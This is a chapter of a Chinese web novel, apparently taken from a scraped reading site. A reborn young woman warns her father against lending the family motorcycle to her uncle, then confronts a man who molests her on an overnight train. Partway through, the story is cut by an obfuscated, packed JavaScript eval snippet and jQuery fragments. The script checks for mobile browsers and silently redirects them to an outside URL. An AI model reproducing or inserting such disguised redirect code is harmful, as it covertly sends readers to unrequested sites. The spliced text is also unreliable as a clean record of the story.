姜成才忙道:“我没有答应……”
姜爱华提醒道:“爸,你要知道,我们家对他们家已经仁至义尽了,你跟妈已经把这么好的工作让给了他们夫妻俩,只要他们能坚持下来,一年就能赚万把块钱,再补一点,明年就能买上摩托车,但他们还三番五次地到你面前来借车要钱的,你想过是什么原因没有?”
姜成才满脸不高兴:“还能有什么原因,就是嫌弃果园里的住宿条件不好,不想住在那里,每天早晚回家住,又嫌赶路辛苦了……”
姜爱华道:“他们上了不到两个月的班就已经嫌辛苦了,我怀疑他们对待养鸡场也不认真,他们要是再找你,你可以警告他们一下,说你在县城遇到王老板了,他向你投诉他们工作不积极,如果再这样下去就要换人了。”
姜成才结巴道:“这……要这样吓唬他们吗?”
姜爱华道:“你不这样吓唬他们,他们怎么会珍惜这份工作?现在是大夏天的他们都嫌弃赶路辛苦,到了冬天滴水成冰,你觉得他们还想去吗?而且他们偷懒王老板真的不会发现吗?”
姜成才一想,正是这个理,登时皱起了眉头:“如果他们再来,我会警告他们的。”
姜爱华道:“无论是借钱还是借车,我都不同意,亲戚之间本来就是救急不救穷,哪有为了他们方便委屈我们自己的道理?你要是找不到拒绝的理由,就全推到我头上来,让他们来跟我说。”
姜成才心中一痛,长女总是这样,不舍得让他们为难,骂名恶名全都是她顶了,有事她第一个上,把他们一家牢牢地护在她的身后。
可她今年也只有二十岁啊,她也是个需要人心疼的小姑娘啊。
姜爱华却没看到他眼底心疼的神色,继续道:“还有,他们说服不了你,可能会去说服我妈,她耳根子软,向来记吃不记打,别人说两句好话她就很容易信了,会反过来说服你,你别被她几滴眼泪欺骗了,不行就是不行。”
姜成才突然像是想通了,爱华为什么会这么强势这么累?就是因为有他们这样的一对父母在,他嘴笨又没有主意,罗家珍又一心偏着娘家,而他因为心疼妻子跟自己结婚这么多年来吃了不少苦,什么都依着她,再离谱再不合理的要求也没有反驳过她,所以造就了许多让爱华为难的局面,慢慢地,她就被逼成了这样。
他真的不是个合格的父亲。
他想起姜爱华不止一次地跟他说过,罗家珍不懂的事,他要教她,而不是一味地纵容她闹出笑话,现在他才终于理解了,有她娘家人一直在拖后腿,姜爱华就会一直像一只刺猬一般竖起了浑身的刺要防范。
孩子都这么大了,他却还看不清楚本质,他的三个女儿才是姓姜的,才会一心一意地为自家着想。
他眨了一下眼,忍住了涌上来的泪水,郑重地点了点头:“你放心,我不会让他们家拖累了我们的。”
姜爱华睁大了眼睛,她没有幻听吧?姜成才竟然说出了不让罗家拖累他们家的话?真的假的?
她有点不敢相信,毕竟自家的爸嘴有多笨她一清二楚。
拖累——
姜爱华刚想打趣一下姜成才,这个词突然就闯进了她的脑海里,让她迅速记起了前世的一件事。
这件事还真跟罗家荣有关,算一算时间,应该是一年多以后,罗家荣借了别人的一辆摩托车,不小心把一个老太太撞断了腰。
老太太的家人直接就把老太太抬到了他家的门前放着,要么赔五万,要么给老太太养老送终。
罗家荣有家庭情况比她家好不了多少,哪里来的5万可以赔?
那一家人调头就走,把老太太扔到了他家的门口。
罗家荣怎么敢接?又怕她真的死在自己的家里,只能到处去借钱,姜家这么穷,罗家珍作为罗家荣的姐姐也不得不帮她弟弟筹钱,最后东拼西凑给他凑了两千块钱,穷得买盐都没钱了。
罗家荣不得已把地卖了,凑够了5万,才总算让那家人把老太太接走了。
但那家人也不是什么好东西,钱收了,却不肯带老太太去看病,在家里耽误了一个月左右,老太太就去了,丧事倒是热热闹闹地办了一场,她儿子后来喝醉酒还口出狂言,大赞他妈临死了还给他赚回了一笔巨款,他的新楼房有着落了。
气得罗家荣上门去找他打了一架,但钱已经赔出去了,拿他一点办法也没有。
经此巨变,罗家跟姜家都穷得叮当响,罗家人戾气冲天,姜家也没比他家好过多少。
姜爱华想起月华被提前送走的事,联想到自家的摩托车,心里暗惊,不会吧,这辈子自家先买了车,罗家荣不会是骑着她家的车撞到人吧?若是如此,那她家真的要被他拉入深渊了!
不行,摩托车绝对不能借给他!
她马上就警告姜成才:“爸,你看到上次电视放的那个新闻没有?河北有个人好心把自家的手扶拖拉机借给邻居用,结果邻居不熟悉,开着拖拉机把一个人撞了,人家找他赔钱,那个邻居家里穷没钱赔,说车是别人家的,那人直接去告车主了,后来判了要车主赔!你说冤不冤?舅舅从来没有骑过摩托车,农村的路又这么难行,技术不好很容易油门当刹车,如果他把我们家的车借走了撞了人,你说他会不会叫别人找我们赔?”
竟然是电视里播出来的新闻?那还能有假?!姜成才没有想过这方面的问题,登时惊出了一身冷汗:“好,说什么我都不会借给他的。”
姜爱华见姜成才能听劝,也放下了一半的心,希望自己离开的这几天不要出事才好。
在家里,丽华是绝对跟她站在一起的,但她年纪太小了没有话语权,罗家珍容易摇摆不定,只要姜成才稳住了,那这么短的时间里应该不会有什么问题了。
登车的时间到了,姜成才看着女儿背着一个简易的背包挤上了火车,消失在人流里。
绿皮火车上人声鼎沸,姜爱华艰难地挤到了自己的位置上,坐下来后松了一口气,幸好买到票了,还是靠窗的位置。
坐在她旁边的是一个四十来岁的中年人,坐她对面的是一对四十几岁的夫妻,用家乡话大声地讨论着什么,姜爱华从背包里拿出一顶帽子,直接往脸上一盖,开始闭目养神。
绿皮火车的速度很慢,跟日后的高铁根本没办法比,每到一个站还要停个把小时,车上的人来来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037898|156262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往往,挤来挤去,车厢里充斥着混浊的味道,姜爱华坐了五个小时后,终于忍不住随着人流挤下了火车,跟许多人一起站在站台上吃东西。
列车上的东西很贵,她准备了馒头跟水煮蛋,在车上忍着吃两顿,明天也就到S市了。
吃完饭后她还原地活动了一圈,整整五个小时的硬座不是那么好受的。
终于在列车发动前的一分钟重新挤回了座位上,此时夜幕已经降临了,车厢开始渐渐安静下来,无事可做的人靠着椅背开始昏昏欲睡。
姜爱华迷迷糊糊的睡得并不沉,因为她觉得坐在她边上那个中年人不时地把头往她的方向歪,她已经尽可能地往窗户的边上缩了,但他的头还是一点一点地往她这边挤。
刚开始姜爱华还觉得他应该是睡熟了没注意到,自己尽量往窗户那边挤,给他让出了一大块空地,他总算挨不到她了吧?
结果她发现这中年人居然偷偷地挪了一下屁股,直接往她这边挤了一下,然后他的头又可以挨着他的肩了!
姜爱华若是还看不出来他是故意的,也就白活了两辈子。
她冷哼一声,拿包重重地推了一下他的头,直接把行李放在了自己的肩膀旁边,隔开了两人之间的位置。
动作这么大,那个中年人被她推醒了,似乎是不好意思地一笑,往过道边挪了挪,头没地方靠了,只能仰着脖子睡觉。
姜爱华见两人之间的距离已经拉开了,也不想多生事端,再一次闭上了眼睛睡觉。
不知过了多久,她的眼睛突然一下睁开,按住摸到自己大腿上的手,使劲一掰。
她是农村家的姑娘,重活累活没少干,力气可不算小,只听得咔地一声,旁边的男人杀猪似地叫了起来:“啊啊啊!我的手!”
车厢里的人全惊醒了,惊讶地看了过来。
姜爱华脸色阴沉沉的:“一而再再而三地占我便宜,没掰断你的手我已经是留情了,大叔,你不会以为我被非礼了还不敢动手吧?”
围观的人脸色一下就变了,姜爱华不等那中年男人反应过来已经大声喊道:“乘警在哪里?麻烦帮我叫一下乘警!我要报警!”
那个中年男人本想大声驳斥她,但一听到她二话不说就开始叫乘警,他登时急了:“叫什么乘警?你不要冤枉好人!不就是睡觉的时候不小心碰了你一下吗,你这个小姑娘怎么能这样污蔑我?!”
姜爱华冷笑:“有没有污蔑你,等乘警来了一问不就清楚了?如果我冤枉了你,自然会跟你道歉,但如果不是呢?你打算怎么跟警察解释。”
中年男人大声道:“天地良心啊!你这个小妹妹怎么能这样乱讲话?我这辈子从没这样被人冤枉过,我如果真非礼你了,让我出门就让车撞死怎么样?”
他毒誓都说出口了,车里的人不由得半信半疑起来,看向他的目光也没有刚才的不善了,中年男人乘胜追击:“刚刚就只是睡着了不小心碰了你一下,你就喊我非礼,还扭伤了我的手,叫乘警来也好,我还要你赔偿我看手的医疗费,不赔到我满意大家都别想走!”
姜爱华冷笑:“行啊,希望你腰杆能跟你的嘴一样硬!”